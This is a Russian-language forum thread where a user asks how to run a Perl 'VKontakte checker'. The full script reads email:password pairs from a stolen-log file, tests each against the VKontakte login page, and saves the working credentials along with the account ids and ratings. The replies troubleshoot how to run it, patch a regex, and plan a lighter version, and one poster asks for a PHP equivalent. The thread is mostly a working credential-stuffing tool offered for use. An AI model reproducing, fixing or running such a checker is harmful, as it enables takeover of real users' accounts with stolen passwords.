Помогите запустить VKontakte checker на PERL.

Вот сам скрипт:

Code:

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!

 

Запусти через cmd, посмотри что пишет

 

это как?

 

поподробней плиз и еси не трудно объясните плиз по понятней)

 

пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

 

я прописал а там пишет тип не является командой....

 

Ты Perl установил?

 

да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((

 

епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй

 

написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось

 

ты скрипту пaраметры задал?

 

какие параметры???

 

ну че там c:\s.pl c:\spisok.txt c:\good.txt

 

Посмотрите, может ошибка в скрипте???

 

ПОВТОРЯЮ ЕЩЕ РАЗ крипт пашет
использование c:\perl\bin\perl.exe check.pl

предварительно в папке C:\perl\bin\ должен быть файл logs.txt с мылом:пасс

 

в 27 строчке хватит и этого:

Code:

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;

("&gt там вообще не нужно

он id сцапает и так. а при оригинале еррор там лезет)

 

вечером выложу переделанную немного версиюю а то в этой слишком много запросов )
точнее можно не лазя на рейт пхп снять рейтинг с главной

 

пуск->выполнить->cmd
cd C:\perl\bin
perl cheker.pl 123456 log.txt
где 123456 и log.txt параметры для скрипта

 

На ПХП можно как то прочекать существование анкеты с записью id существующей анкеты в файл? Очень пригодился бы такой скрипт, только на ПХП.
Заранее СПС за ссылки/советы/работы.